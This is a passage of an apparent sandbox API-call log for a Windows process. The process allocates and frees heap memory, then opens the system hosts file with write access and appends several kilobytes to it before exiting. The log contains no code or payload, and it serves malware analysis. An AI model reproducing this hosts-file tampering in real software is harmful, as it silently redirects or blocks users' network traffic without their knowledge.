Flags=0x0, Size=0x20) returned 0x542368 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542390 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5423b8 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5423e0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542408 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542430 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542458 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542480 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5424a8 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5424d0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5424f8 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542520 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542548 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542570 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542598 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5425c0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542618 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1dc3) returned 0x544e00 [0054.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a08 | out: hHeap=0x510000) returned 1 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542640 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542668 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542690 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5426b8 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5426e0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542708 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542730 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542758 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542780 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5427a8 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5427d0 [0054.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5427f8 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542820 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542848 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542870 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542898 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5428c0 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5428e8 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542910 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542938 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542960 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542988 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5429b0 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5429d8 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542a00 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542a28 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542a50 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542a78 [0054.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x542aa0 [0054.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53ff28 | out: hHeap=0x510000) returned 1 [0054.648] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x18edb0 | out: pszPath="C:\\Windows") returned 0x0 [0054.651] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0054.651] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0054.652] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0054.652] SetFilePointer (in: hFile=0xa0, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x525500 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x540110 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525500 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x540160 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540110 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x5401d8 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540160 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x540280 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5401d8 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x540110 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540280 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x540280 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540110 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x5404a0 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540280 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x5407c8 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5404a0 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x540c78 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5407c8 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa72) returned 0x540110 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540c78 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfaa) returned 0x542e00 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540110 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x17a1) returned 0x546bd0 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542e00 | out: hHeap=0x510000) returned 1 [0054.652] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x235f) returned 0x548380 [0054.652] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546bd0 | out: hHeap=0x510000) returned 1 [0054.652] WriteFile (in: hFile=0xa0, lpBuffer=0x5483a0*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x5483a0*, lpNumberOfBytesWritten=0x18ed70*=0x1c76, lpOverlapped=0x0) returned 1 [0054.653] CloseHandle (hObject=0xa0) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x548380 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c118 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c140 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c168 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c190 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c1b8 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c1e0 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c208 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c230 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c258 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c280 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c2a8 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c2d0 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c2f8 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c320 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c348 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c370 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c398 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c3c0 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c3e8 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c410 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53c438 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541618 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541640 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541668 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541690 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5416b8 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5416e0 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541708 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541730 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541758 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541780 | out: hHeap=0x510000) returned 1 [0054.655] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5417a8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5417d0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5417f8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541820 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541848 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541870 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541898 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5418c0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5418e8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541910 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541938 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541960 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541988 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5419b0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5419d8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541a00 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541a28 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541a50 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541a78 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541aa0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541ac8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541af0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541b18 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541b40 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541b68 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541b90 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541bb8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541be0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541c08 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541c30 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541c58 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541c80 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541ca8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541cd0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541cf8 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541d20 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541d48 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541d70 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541d98 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541dc0 | out: hHeap=0x510000) returned 1 [0054.656] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541e18 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541e40 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541e68 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541e90 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541eb8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541ee0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541f08 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541f30 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541f58 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541f80 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541fa8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541fd0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541ff8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542020 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542048 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542070 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542098 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5420c0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5420e8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x525490 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542110 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542138 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542160 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542188 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5421b0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5421d8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542200 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542228 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542250 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542278 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5422a0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5422c8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5422f0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542318 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542340 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542368 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542390 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5423b8 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5423e0 | out: hHeap=0x510000) returned 1 [0054.657] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542408 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542430 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542458 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542480 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5424a8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5424d0 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5424f8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542520 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542548 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542570 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542598 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5425c0 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542618 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542640 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542668 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542690 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5426b8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5426e0 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542708 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542730 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542758 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542780 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5427a8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5427d0 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5427f8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542820 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542848 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542870 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542898 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5428c0 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5428e8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542910 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542938 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542960 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542988 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5429b0 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5429d8 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542a00 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542a28 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542a50 | out: hHeap=0x510000) returned 1 [0054.658] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542a78 | out: hHeap=0x510000) returned 1 [0054.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542aa0 | out: hHeap=0x510000) returned 1 [0054.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544e00 | out: hHeap=0x510000) returned 1 [0054.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53eaf8 | out: hHeap=0x510000) returned 1 [0054.659] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.659] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0054.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53a3e8 | out: hHeap=0x510000) returned 1 [0054.659] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53cdc8 | out: hHeap=0x510000) returned 1 [0054.659] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0054.659] GetLastError () returned 0x57 [0054.659] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f584 | out: phModule=0x18f584) returned 0 [0054.659] ExitProcess (uExitCode=0x0) [0054.659] HeapFree 